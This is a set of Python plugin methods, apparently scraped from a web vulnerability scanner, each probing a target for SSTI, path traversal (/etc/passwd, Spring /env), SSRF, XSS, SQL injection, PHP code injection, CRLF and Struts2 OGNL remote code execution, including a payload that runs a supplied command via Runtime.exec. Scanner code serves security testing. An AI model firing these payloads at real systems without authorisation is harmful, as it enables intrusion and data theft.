Example #1
0
 def test_ssti(self, data, k, positon):
     randnum1 = random.randint(1000, 10000)
     randnum2 = random.randint(8888, 20000)
     checksum = str(randnum1 * randnum2)
     ssti_payloads = self.getSSTIPayload(randnum1, randnum2)
     for payload in ssti_payloads:
         data[k] = payload
         # 不编码请求
         r1 = self.req(positon, url_dict2str(data, positon))
         if checksum in r1.text:
             return {
                 "request": r1.reqinfo,
                 "response": generateResponse(r1),
                 "desc": "payload:{} 会回显{} 不编码payload".format(payload, checksum),
                 "payload": payload
             }
         # url编码请求
         r1 = self.req(positon, data)
         if checksum in r1.text:
             return {
                 "request": r1.reqinfo,
                 "response": generateResponse(r1),
                 "desc": "payload:{} 会回显{} url编码payload".format(payload, checksum),
                 "payload": payload
             }
         # html编码请求
         data[k] = html.escape(data[k])
         r1 = self.req(positon, data)
         if checksum in r1.text:
             return {
                 "request": r1.reqinfo,
                 "response": generateResponse(r1),
                 "desc": "payload:{} 会回显{} html编码payload".format(payload, checksum),
                 "payload": payload
             }
Example #2
0
    def audit(self):
        result = urlparse(self.requests.url)
        path = result.path

        if self.requests.method == "GET" and self.requests.url.count('/') >= 4 and parse_url.geturl_ext(self.requests.url) in ["js", "css"] and self.response.status_code == 200:
            resp = requests.get(self.requests.url + ";/env", headers=self.requests.headers)
            result = self.new_result()
            result.init_info(self.requests.url, "静态文件下的路径遍历", VulType.PATH_TRAVERSAL)
            flag = False
            if resp.status_code == 200 and "java.vm.version" in resp.text:
                flag = True
                result.add_detail("payload1请求", self.requests.url + ";/env", generateResponse(resp),
                                  self.requests.url + ";/env", "", "", PLACE.GET)
            number = self.requests.url.count("/") - 2
            resp1 = requests.get(self.requests.url + "/" + "..;/" * number + "env", headers=self.requests.headers)
            if resp1.status_code == 200 and "java.vm.version" in resp1.text:
                flag = True
                result.add_detail("payload1请求", self.requests.url + "/" + "..;/" * number + "env", generateResponse(resp1),
                                  self.requests.url + "/" + "..;/" * number + "env", "", "", PLACE.GET)
            resp2 = requests.get(self.requests.url + "/" + "../" * number + "etc/passwd", headers=self.requests.headers)
            if resp2.status_code == 200 and "root:x:" in resp2.text:
                flag = True
                result.add_detail("payload2请求", self.requests.url + "/" + "../" * number + "etc/passwd",
                                  generateResponse(resp2),
                                  self.requests.url + "/" + "../" * number + "etc/passwd", "", "", PLACE.GET)
            if flag:
                self.success(result)
Example #3
0
    def audit(self):
        p = urlparse(self.requests.url)

        arg = "{}://{}/".format(p.scheme, p.netloc)
        headers = {"User-Agent": "curl/7.54.0"}
        response = requests.get(arg + "render?url=http://www.example.com",
                                herders=headers)
        if "<h1>Example Domain</h1>" in response.text:
            result = self.new_result()
            result.init_info(self.requests.url, "动态渲染导致的ssrf", VulType.SSRF)
            result.add_detail(
                "payload请求", response.reqinfo, generateResponse(response),
                "存在ssrf漏洞尝试:{}".format(arg +
                                       "render?url=http://www.example.com"),
                "", "", PLACE.GET)
            self.success(result)
        headers = {"User-Agent": "Slackbot blabla"}
        response = requests.get(arg, herders=headers)
        if response.headers.get(
                "X-Renderer"
        ) is not None and "Rendertron" == response.headers.get("X-Renderer"):
            result = self.new_result()
            result.init_info(self.requests.url, "动态渲染导致的ssrf", VulType.SSRF)
            result.add_detail(
                "payload请求", response.reqinfo, generateResponse(response),
                '可能存在ssrf漏洞尝试:curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" {}redirectUrl=http://www.example.com/'
                .format(arg), "", "", PLACE.GET)
            self.success(result)
Example #4
0
    def audit(self):
        p = urlparse(self.requests.url)
        domain = "{}://{}/".format(p.scheme, p.netloc)

        payload = "(A({}))/".format(random_str(6))
        url = domain + payload

        req = requests.get(url, headers=self.requests.headers)
        if payload in req.text:
            new_payload = "(A(\"onerror='{}'{}))/".format(
                random_str(6), random_str(6))
            url2 = domain + new_payload
            req2 = requests.get(url2, headers=self.requests.headers)
            if new_payload in req2.text:
                result = self.new_result()
                result.init_info(self.requests.url, ".net 通杀xss", VulType.XSS)
                result.add_detail("payload回显", req.reqinfo,
                                  generateResponse(req),
                                  "payload:{}回显在页面".format(payload), "", "",
                                  PLACE.GET)
                result.add_detail("payload回显", req2.reqinfo,
                                  generateResponse(req2),
                                  "payload:{}回显在页面".format(payload), "", "",
                                  PLACE.GET)
                self.success(result)
Example #5
0
    def audit(self):
        if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2:
            return

        regx = 'Parse error: syntax error,.*?\sin\s'
        randint = random.randint(5120, 10240)
        verify_result = md5(str(randint).encode())
        _payloads = [
            "print(md5({}));",
            ";print(md5({}));",
            "';print(md5({}));$a='",
            "\";print(md5({}));$a=\"",
            "${{@print(md5({}))}}",
            "${{@print(md5({}))}}\\",
            "'.print(md5({})).'"
        ]
        # 载入处理位置以及原始payload
        iterdatas = self.generateItemdatas()

        errors = None
        errors_raw = ()
        # 根据原始payload和位置组合新的payload
        for origin_dict, positon in iterdatas:
            payloads = self.paramsCombination(origin_dict, positon, _payloads)
            for key, value, new_value, payload in payloads:
                r = self.req(positon, payload)
                if not r:
                    continue
                html1 = r.text
                if verify_result in html1:
                    result = self.new_result()
                    result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION)
                    result.add_detail("payload探测", r.reqinfo, generateResponse(r),
                                      "探测payload:{}并发现回显:{}".format(new_value, verify_result), key, value, positon)
                    self.success(result)
                    break
                if re.search(regx, html1, re.I | re.S | re.M):
                    result = self.new_result()
                    result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION)
                    result.add_detail("payload探测", r.reqinfo, generateResponse(r),
                                      "探测payload:{}并发现正则回显:{},可能是payload未闭合语句造成的错误".format(new_value, regx), key,
                                      value, positon)
                    self.success(result)
                    break
                if not errors:
                    errors = sensitive_page_error_message_check(html1)
                    if errors:
                        errors_raw = (key, value)

            if errors:
                result = self.new_result()
                key, value = errors_raw
                result.init_info(self.requests.url, "敏感配置信息泄漏", VulType.SENSITIVE)
                for m in errors:
                    text = m["text"]
                    _type = m["type"]
                    result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                                      "匹配组件:{} 匹配正则:{}".format(_type, text), key, value, positon)
                self.success(result)
Example #6
0
    def audit(self):
        num = random_num(4)
        s = random_str(4)
        _payloads = [
            '鎈\'"\(', "'", "')", "';", '"', '")', '";', ' order By 500 ', "--",
            "-0", ") AND {}={} AND ({}={}".format(num, num + 1, num, num),
            " AND {}={}%23".format(num, num + 1),
            " %' AND {}={} AND '%'='".format(num, num + 1),
            " ') AND {}={} AND ('{}'='{}".format(num, num + 1, s, s),
            " ' AND {}={} AND '{}'='{}".format(num, num + 1, s, s), '`', '`)',
            '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C",
            "extractvalue(1,concat(char(126),md5({})))".format(random_num),
            "convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))".
            format(random_num)
        ]
        # 载入处理位置以及原始payload
        iterdatas = self.generateItemdatas()

        # 根据原始payload和位置组合新的payload
        for origin_dict, positon in iterdatas:
            payloads = self.paramsCombination(origin_dict, positon, _payloads)
            for key, value, new_value, payload in payloads:
                r = self.req(positon, payload)
                if not r:
                    continue
                html = r.text
                for sql_regex, dbms_type in Get_sql_errors():
                    match = sql_regex.search(html)

                    if match:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SQL注入",
                                         VulType.SQLI)
                        result.add_detail(
                            "payload探测", r.reqinfo, generateResponse(r),
                            "DBMS_TYPE:{} 匹配结果:{}".format(
                                dbms_type,
                                match.group()), key, payload, positon)
                        self.success(result)
                        return True

                message_lists = sensitive_page_error_message_check(html)
                if message_lists:
                    result = self.new_result()
                    result.init_info(self.requests.url, "SQL注入", VulType.SQLI)
                    result.add_detail(
                        "payload探测", r.reqinfo, generateResponse(r),
                        "需要注意的报错信息:{}".format(repr(message_lists)), key,
                        payload, positon)
                    self.success(result)
                    return True
Example #7
0
    def audit(self):
        plainArray = [
            "; for 16-bit app support", "[MCI Extensions.BAK]",
            "# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.",
            "# localhost name resolution is handled within DNS itself.",
            "[boot loader]"
        ]

        regexArray = [
            '(Linux+\sversion\s+[\d\.\w\-_\+]+\s+\([^)]+\)\s+\(gcc\sversion\s[\d\.\-_]+\s)',
            '(root:\w:\d*:)',
            "System\.IO\.FileNotFoundException: Could not find file\s'\w:",
            "System\.IO\.DirectoryNotFoundException: Could not find a part of the path\s'\w:",
            "<b>Warning<\/b>:\s\sDOMDocument::load\(\)\s\[<a\shref='domdocument.load'>domdocument.load<\/a>\]:\s(Start tag expected|I\/O warning : failed to load external entity).*(Windows\/win.ini|\/etc\/passwd).*\sin\s<b>.*?<\/b>\son\sline\s<b>\d+<\/b>",
            "(<web-app[\s\S]+<\/web-app>)", "Warning: fopen\(",
            "open_basedir restriction in effect",
            '/bin/(bash|sh)[^\r\n<>]*[\r\n]', '\[boot loader\][^\r\n<>]*[\r\n]'
        ]
        iterdatas = self.generateItemdatas()
        _payloads = self.generate_payloads()

        for origin_dict, positon in iterdatas:
            payloads = self.paramsCombination(origin_dict, positon, _payloads)
            for key, value, new_value, payload in payloads:
                r = self.req(positon, payload)
                if not r:
                    continue
                html1 = r.text
                for plain in plainArray:
                    if plain in html1:
                        result = ResultObject(self)
                        result.init_info(self.requests.url, "目录穿越导致任意文件被读取",
                                         VulType.PATH_TRAVERSAL)
                        result.add_detail(
                            "payload探测", r.reqinfo, generateResponse(r),
                            "探测payload:{},并发现回显{}".format(payload, plain), key,
                            new_value, positon)
                        self.success(result)
                        return
                for regex in regexArray:
                    if re.search(regex, html1, re.I | re.S | re.M):
                        result = ResultObject(self)
                        result.init_info(self.requests.url, "目录穿越导致任意文件被读取",
                                         VulType.PATH_TRAVERSAL)
                        result.add_detail(
                            "payload探测", r.reqinfo, generateResponse(r),
                            "探测payload:{},并发现正则回显{}".format(payload, regex),
                            key, new_value, positon)
                        self.success(result)
                        return
Example #8
0
 def audit(self):
     list = ["env", "actuator/env", "appenv", "actuator/appenv"]
     url = self.requests.url.rstrip("/")
     directory = os.path.basename(url)
     headers = self.requests.headers
     result = self.new_result()
     result.init_info(self.requests.url, "spring api 泄漏",
                      VulType.BRUTE_FORCE)
     flag = False
     for payload in list:
         test_url = directory + "/" + payload
         try:
             r = requests.get(test_url,
                              headers=headers,
                              allow_redirects=False,
                              stream=True)
         except requests.exceptions.MissingSchema:
             continue
         if r.status_code == 200 and "java.vm.version" in r.text:
             flag = True
             result.add_detail("payload请求" + payload, test_url,
                               generateResponse(r),
                               "spring api 泄漏:" + test_url, "", "",
                               PLACE.GET)
     if flag:
         self.success(result)
Example #9
0
 def audit(self):
     if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2:
         headers = self.requests.headers
         variants = [
             "phpinfo.php",
             "pi.php",
             "php.php",
             "i.php",
             "test.php",
             "temp.php",
             "info.php",
         ]
         for phpinfo in variants:
             testURL = self.requests.url.rstrip("/") + "/" + phpinfo
             r = requests.get(testURL, headers=headers)
             flag = "<title>phpinfo()</title>"
             if flag in r.text:
                 info = get_phpinfo(r.text)
                 result = self.new_result()
                 result.init_info(self.requests.url, "phpinfo发现",
                                  VulType.SENSITIVE)
                 result.add_detail(
                     "payload请求", r.reqinfo, generateResponse(r),
                     "匹配到关键词:{} information:{}".format(flag, repr(info)),
                     "", "", PLACE.GET)
                 self.success(result)
Example #10
0
 def audit(self):
     headers = self.requests.headers
     p = urlparse(self.requests.url)
     domain = "{}://{}/".format(p.scheme, p.netloc)
     payload = domain + ".idea/workspace.xml"
     r = requests.get(payload, headers=headers, allow_redirects=False)
     path_lst = []
     if '<component name="' in r.text:
         root = etree.XML(r.text.encode())
         for e in root.iter():
             if e.text and e.text.strip().find('$PROJECT_DIR$') >= 0:
                 path = e.text.strip()
                 path = path[path.find('$PROJECT_DIR$') + 13:]
                 if path not in path_lst:
                     path_lst.append(path)
             for key in e.attrib:
                 if e.attrib[key].find('$PROJECT_DIR$') >= 0:
                     path = e.attrib[key]
                     path = path[path.find('$PROJECT_DIR$') + 13:]
                     if path and path not in path_lst:
                         path_lst.append(path)
         if path_lst:
             result = self.new_result()
             result.init_info(self.requests.url, "idea敏感文件发现",
                              VulType.DIRSCAN)
             result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                               "敏感目录列表:{}".format(repr(path_lst)), "", "",
                               PLACE.GET)
             self.success(result)
Example #11
0
    def audit(self):
        headers = self.requests.headers
        if self.requests.post_hint == POST_HINT.JSON or self.requests.post_hint == POST_HINT.JSON_LIKE:
            # 第三方平台
            # dnslog = DnsLogApi()
            # dnsdomain = random_str(4) + "." + dnslog.new_domain()

            # 检测是否使用fastjson for 1.2.67
            # refer:https://github.com/alibaba/fastjson/issues/3077
            # r = requests.post(self.requests.url, data=self.generate_check_fastjson(dnsdomain), headers=headers)
            # isFastjson = dnslog.check()
            # if isFastjson:
            #     result = self.new_result()
            #     result.init_info(self.requests.url, "使用了Fastjson", VulType.CODE_INJECTION)
            #     result.add_detail("payload", r.reqinfo, generateResponse(r),
            #                       "第三方dnslog有日志回显:{}".format(repr(isFastjson)), "", "", PLACE.GET)
            #     self.success(result)
            # else:
            #     return

            # reqlist = []
            # for payload in [self.generate_payload_1_2_24(dnsdomain), self.generate_payload_1_2_47(dnsdomain)]:
            #     r = requests.post(self.requests.url, data=payload, headers=headers)
            #     reqlist.append(r)
            # dnslist = dnslog.check()
            # if dnslist:
            #     result = self.new_result()
            #     result.init_info(self.requests.url, "Fastjson Poc 1.24-1.27", VulType.CODE_INJECTION)
            #     for req in reqlist:
            #         result.add_detail("payload请求", req.reqinfo, generateResponse(req),
            #                           "第三方dnslog有日志回显:{}".format(repr(dnslist)), "", "", PLACE.POST)
            #     self.success(result)
            # 内置rmi平台
            rmi = reverseApi()
            if rmi.isUseReverse():
                rmidomain = rmi.generate_rmi_token()
                rmi_token = rmidomain["token"]
                fullname = rmidomain["fullname"]

                reqlist = []
                for payload in [
                        self.generate_payload_1_2_24(fullname),
                        self.generate_payload_1_2_47(fullname)
                ]:
                    r = requests.post(self.requests.url,
                                      data=payload,
                                      headers=headers)
                    reqlist.append(r)
                dnslist = rmi.check(rmi_token)
                if dnslist:
                    result = self.new_result()
                    result.init_info(self.requests.url,
                                     "Fastjson Poc 1.24-1.27",
                                     VulType.CODE_INJECTION)
                    for req in reqlist:
                        result.add_detail(
                            "payload请求", req.reqinfo, generateResponse(req),
                            "内置rmi 有日志回显:{}".format(repr(dnslist)), "", "",
                            PLACE.POST)
                    self.success(result)
Example #12
0
    def audit(self):
        if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2:
            headers = self.requests.headers

            check = '<Struts2-vuln-Check>'
            payloads = [
                r"%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('<'+'Struts2-vuln-'+'Check>')).(#o.close())}",
                r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('Struts2-vuln-'+'Check>')).(#o.println(#path)).(#o.close())}",
                r'''%{(#f**k='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("Struts2-vuln-"+"Check>"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''
            ]

            for payload in payloads:
                headers['Content-Type'] = payload
                r = requests.get(self.requests.url,
                                 headers=headers,
                                 timeout=30)
                html1 = r.text
                if check in html1:
                    result = self.new_result()
                    result.init_info(self.requests.url, "Struts2-045远程代码执行",
                                     VulType.CODE_INJECTION)
                    result.add_detail("payload探测", r.reqinfo,
                                      generateResponse(r),
                                      "发现回显flag:{}".format(check), "", "",
                                      PLACE.POST)
                    self.success(result)
                    break
Example #13
0
 def audit(self):
     if self.requests.suffix.lower() == '.js':
         new_url = self.requests.url + ".map"
         req = requests.get(new_url, headers=self.requests.headers)
         if req.status_code == 200 and 'webpack:///' in req.text:
             result = ResultObject(self)
             result.init_info(self.requests.url, "webpack源文件泄漏",
                              VulType.SENSITIVE)
             result.add_detail("payload探测", req.reqinfo,
                               generateResponse(req), "webpack:/// 在返回文本中",
                               "", "", PLACE.GET)
             self.success(result)
Example #14
0
    def audit(self):
        _payloads = ['鎈\'"\(']
        # 载入处理位置以及原始payload
        iterdatas = self.generateItemdatas()

        # 根据原始payload和位置组合新的payload
        for origin_dict, positon in iterdatas:
            payloads = self.paramsCombination(origin_dict, positon, _payloads)
            for key, value, new_value, payload in payloads:
                r = self.req(positon, payload)
                if not r:
                    continue
                html = r.text
                for sql_regex, dbms_type in Get_sql_errors():
                    match = sql_regex.search(html)

                    if match:
                        result = self.new_result()
                        result.init_info(self.requests.url, "SQL注入",
                                         VulType.SQLI)
                        result.add_detail(
                            "payload探测", r.reqinfo, generateResponse(r),
                            "DBMS_TYPE:{} 匹配结果:{}".format(
                                dbms_type,
                                match.group()), key, payload, positon)
                        self.success(result)
                        return True

                message_lists = sensitive_page_error_message_check(html)
                if message_lists:
                    result = self.new_result()
                    result.init_info(self.requests.url, "基于报错的SQL注入",
                                     VulType.SQLI)
                    result.add_detail(
                        "payload探测", r.reqinfo, generateResponse(r),
                        "需要注意的报错信息:{}".format(repr(message_lists)), key,
                        payload, positon)
                    self.success(result)
                    return True
Example #15
0
 def audit(self):
     if self.response.headers.get(
             'Content-Type'
     ) is not None and "application/hal+json" in self.response.headers.get(
             'Content-Type'):
         headers = self.requests.headers
         r = requests.get(self.requests.url, headers=headers, timeout=30)
         api_json = r.json()
         if len(api_json['_links']) > 1:
             result = self.new_result()
             result.init_info(self.requests.url, "存在apls接口",
                              VulType.SENSITIVE)
             result.add_detail("payload探测", r.reqinfo, generateResponse(r),
                               "发现apls接口:{}".format(self.requests.url), "",
                               "", PLACE.GET)
             self.success(result)
Example #16
0
 def audit(self):
     if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2:
         headers = self.requests.headers
         p = urlparse(self.requests.url)
         domain = "{}://{}/".format(p.scheme, p.netloc)
         payload = domain + "robots.txt/.php"
         r = requests.get(payload, headers=headers, allow_redirects=False)
         ContentType = r.headers.get("Content-Type", '')
         if 'html' in ContentType and "allow" in r.text:
             result = self.new_result()
             result.init_info(self.requests.url, "代码解析漏洞",
                              VulType.CODE_INJECTION)
             result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                               "Content-Type:{}".format(ContentType), "",
                               "", PLACE.GET)
             self.success(result)
Example #17
0
    def audit(self):
        headers = self.requests.headers

        if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2:
            return

        iterdatas = self.generateItemdatas()

        for item in iterdatas:
            iterdata, positon = item
            for k, v in iterdata.items():
                data = copy.deepcopy(iterdata)
                del data[k]
                key = k + "[]"
                data[key] = v

                if positon == PLACE.GET:
                    r = requests.get(self.requests.netloc,
                                     params=data,
                                     headers=headers)
                elif positon == PLACE.POST:
                    r = requests.post(self.requests.url,
                                      data=data,
                                      headers=headers)
                elif positon == PLACE.COOKIE:
                    if self.requests.method == HTTPMETHOD.GET:
                        r = requests.get(self.requests.url,
                                         headers=headers,
                                         cookies=data)
                    elif self.requests.method == HTTPMETHOD.POST:
                        r = requests.post(self.requests.url,
                                          data=self.requests.post_data,
                                          headers=headers,
                                          cookies=data)
                if "Warning" in r.text and "array given in " in r.text:
                    path = get_middle_text(r.text, 'array given in ',
                                           ' on line')
                    result = self.new_result()
                    result.init_info(self.requests.url, self.desc,
                                     VulType.SENSITIVE)
                    result.add_detail(
                        "payload探测", r.reqinfo, generateResponse(r),
                        "将参数{k}={v}替换为{k}[]={v},path路径泄漏:{p}".format(k=k,
                                                                     v=v,
                                                                     p=path),
                        key, v, positon)
                    self.success(result)
Example #18
0
 def audit(self):
     result = urlparse(self.requests.url)
     path = result.path
     if self.requests.method == "GET" and self.response.status_code == 302 and self.response.headers['Location'] in path:
         result = self.new_result()
         result.init_info(self.requests.url, "uri重定向或crlf", VulType.REDIRECT)
         result.add_detail("uri重定向", self.requests.url, generateResponse(self.response),
                           "尝试将uri改为http://www.evil.com进行重定向测试", "", "", PLACE.GET)
         headers = {
             "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
             "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"
         }
         response = requests.get(result.scheme + "://" + result.netloc + path + "%0d%0ajinqi:%20crlf_test", headers=headers, allow_redirects=False)
         if "jinqi" in response.headers.keys():
             result.add_detail("crlf", result.scheme + ":" + result.netloc + path + "%0d%0ajinqi:%20crlf_test", generateResponse(response),
                               "尝试使用如上url进行crlf测试", "", "", PLACE.GET)
         self.success(result)
Example #19
0
    def audit(self):
        headers = self.requests.headers
        p = urlparse(self.requests.url)

        domain = "{}://{}/".format(p.scheme, p.netloc) + random_str(6) + ".jsp"
        r = requests.get(domain, headers=headers)
        messages = sensitive_page_error_message_check(r.text)
        if messages:
            result = self.new_result()
            result.init_info(self.requests.url, "敏感的报错信息", VulType.SENSITIVE)
            for m in messages:
                text = m["text"]
                _type = m["type"]
                result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                                  "匹配组件:{} 匹配正则:{}".format(_type, text), "",
                                  "", PLACE.GET)

            self.success(result)
Example #20
0
    def audit(self):
        p = urlparse(self.requests.url)

        arg = "{}://{}/".format(p.scheme, p.netloc)

        FileList = []
        FileList.append(arg + 'common/swfupload/swfupload.swf')
        FileList.append(arg + 'adminsoft/js/swfupload.swf')
        FileList.append(arg + 'statics/js/swfupload/swfupload.swf')
        FileList.append(arg + 'images/swfupload/swfupload.swf')
        FileList.append(arg + 'js/upload/swfupload/swfupload.swf')
        FileList.append(arg +
                        'addons/theme/stv1/_static/js/swfupload/swfupload.swf')
        FileList.append(
            arg + 'admin/kindeditor/plugins/multiimage/images/swfupload.swf')
        FileList.append(arg + 'includes/js/upload.swf')
        FileList.append(arg + 'js/swfupload/swfupload.swf')
        FileList.append(arg + 'Plus/swfupload/swfupload/swfupload.swf')
        FileList.append(
            arg + 'e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf')
        FileList.append(arg + 'include/lib/js/uploadify/uploadify.swf')
        FileList.append(arg + 'lib/swf/swfupload.swf')

        md5_list = [
            '3a1c6cc728dddc258091a601f28a9c12',
            '53fef78841c3fae1ee992ae324a51620',
            '4c2fc69dc91c885837ce55d03493a5f5',
        ]
        for payload in FileList:
            payload1 = payload + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22xss%22%29}}//"
            req = requests.get(payload1, headers=self.requests.headers)
            if req.status_code == 200:
                md5_value = md5(req.content)
                if md5_value in md5_list:
                    result = self.new_result()
                    result.init_info(req.url, "Flash通用Xss", VulType.XSS)
                    result.add_detail("payload请求", req.reqinfo,
                                      generateResponse(req),
                                      "匹配到存在漏洞的md5:{}".format(md5_value), "",
                                      "", PLACE.GET)
                    self.success(result)
                    break
Example #21
0
    def audit(self):

        flag = {
            "/.svn/all-wcprops": "svn:wc:ra_dav:version-url",
            "/.git/config": 'repositoryformatversion[\s\S]*',
            "/.bzr/README": 'This\sis\sa\sBazaar[\s\S]',
            '/CVS/Root': ':pserver:[\s\S]*?:[\s\S]*',
            '/.hg/requires': '^revlogv1.*'
        }
        headers = self.requests.headers
        for f in flag.keys():
            _ = self.requests.url.rstrip('/') + f
            r = requests.get(_, headers=headers)
            if re.search(flag[f], r.text, re.I | re.S | re.M):
                result = self.new_result()
                result.init_info(self.requests.url, "仓库泄漏", VulType.SENSITIVE)
                result.add_detail("payload请求", r.reqinfo, generateResponse(r),
                                  "匹配到正则:{}".format(flag[f]), "", "",
                                  PLACE.GET)
                self.success(result)
Example #22
0
    def audit(self):
        if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2:
            headers = self.requests.headers

            ran_a = random.randint(10000000, 20000000)
            ran_b = random.randint(1000000, 2000000)
            ran_check = ran_a - ran_b
            lin = 'expr' + ' ' + str(ran_a) + ' - ' + str(ran_b)

            checks = [
                str(ran_check), '无法初始化设备 PRN', '??????? PRN',
                '<Struts2-vuln-Check>', 'Unable to initialize device PRN'
            ]
            payloads = [
                r"method%3a%23_memberAccess%[email protected]+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%[email protected]@getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28"
                + str(ran_a) + '-' + str(ran_b) + "%29%2c%23kxlzx.close",
                r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=print+test&pp=\\A&ppp=%20&encoding=UTF-8",
                r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd="
                + lin + r"&pp=\\A&ppp=%20&encoding=UTF-8",
                r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),%23w.print('Check>'),1?%23xx:%23request.toString&pp=<Struts2-vuln-&encoding=UTF-8"
            ]
            headers['Content-Type'] = 'application/x-www-form-urlencoded'
            for payload in payloads:
                r = requests.post(self.requests.url,
                                  headers=headers,
                                  data=payload)
                html1 = r.text
                for check in checks:
                    if check in html1:
                        result = self.new_result()
                        result.init_info(self.requests.url,
                                         "Struts2-032远程代码执行",
                                         VulType.CODE_INJECTION)
                        result.add_detail("payload探测", r.reqinfo,
                                          generateResponse(r),
                                          "发现回显flag:{}".format(check), "", "",
                                          PLACE.POST)
                        self.success(result)
                        return
Example #23
0
 def audit(self):
     headers = self.requests.headers
     url = self.requests.url
     p = urlparse(url)
     domain = "{}://{}/".format(p.scheme, p.netloc)
     result = self.new_result()
     try:
         list = [
             domain + "/env",
             domain + "/actuator/env",
             domain + "/appenv",
             domain + "/actuator/appenv"
                 ]
         for api_url in list:
             resp = requests.get(api_url, headers=headers, allow_redirects=False, timeout=5)
             if resp.status_code == 200 and "java.vm.version" in resp.text:
                 result.init_info(self.requests.url, "spring boot监控接口信息泄漏", VulType.BRUTE_FORCE)
                 result.add_detail("payload请求", resp.reqinfo, generateResponse(resp),
                                   "api接口:" + api_url, "", "", PLACE.GET)
                 self.success(result)
                 return
     except Exception as e:
         pass
Example #24
0
 def audit(self):
     resp = self.response.text
     ret = False
     for k, v in self.requests.headers.items():
         if k.lower() in ["cookie", "token", "auth"]:
             ret = True
             break
     if not ret:
         return
     iterdatas = self.generateItemdatas()
     for origin_dict, position in iterdatas:
         if position == PLACE.COOKIE:
             for k, v in origin_dict.items():
                 request_headers_for_payload = self.del_cookie_token()
                 r = self.req(position,
                              origin_dict,
                              headers=request_headers_for_payload)
                 if r is None:
                     continue
                 # self.seqMatcher.set_seq1(resp)
                 # self.seqMatcher.set_seq2(r.text)
                 # ratio = round(self.seqMatcher.quick_ratio(), 3)
                 # 减少内存开销
                 min_len = min(len(resp), len(r.text))
                 self.seqMatcher = difflib.SequenceMatcher(
                     None, resp[:min_len], r.text[:min_len])
                 ratio = round(self.seqMatcher.quick_ratio(), 3)
                 if ratio > self.SIMILAR_MIN:
                     result = self.new_result()
                     result.init_info(self.requests.url, self.desc,
                                      VulType.UNAUTH)
                     result.add_detail("请求Payload", r.reqinfo,
                                       generateResponse(r),
                                       "删除{}后存在未授权访问".format(k), k, v,
                                       position)
                     self.success(result)
                     break
Example #25
0
 def audit(self):
     # 目前只检测get请求
     if self.requests.method == "GET":
         payloads_header = [
             "\r\nTestInject: myscan",
             "\r\n\tTestInject: myscan",
             "\r\n TestInject: myscan",
             "\r\tTestInject: myscan",
             "\nTestInject: myscan",
             "\rTestInject: myscan",
             "%0ATestInject: myscan/..",
             "%3F%0DTestInject: myscan",
             "%E5%98%8A%E5%98%8DTestInject: myscan",
             "%0d%0aTestInject: myscan",
             r"\r\nCTestInject: myscan",
             # twitter crlf
             "嘊嘍TestInject: myscan",
             # nodejs crlf
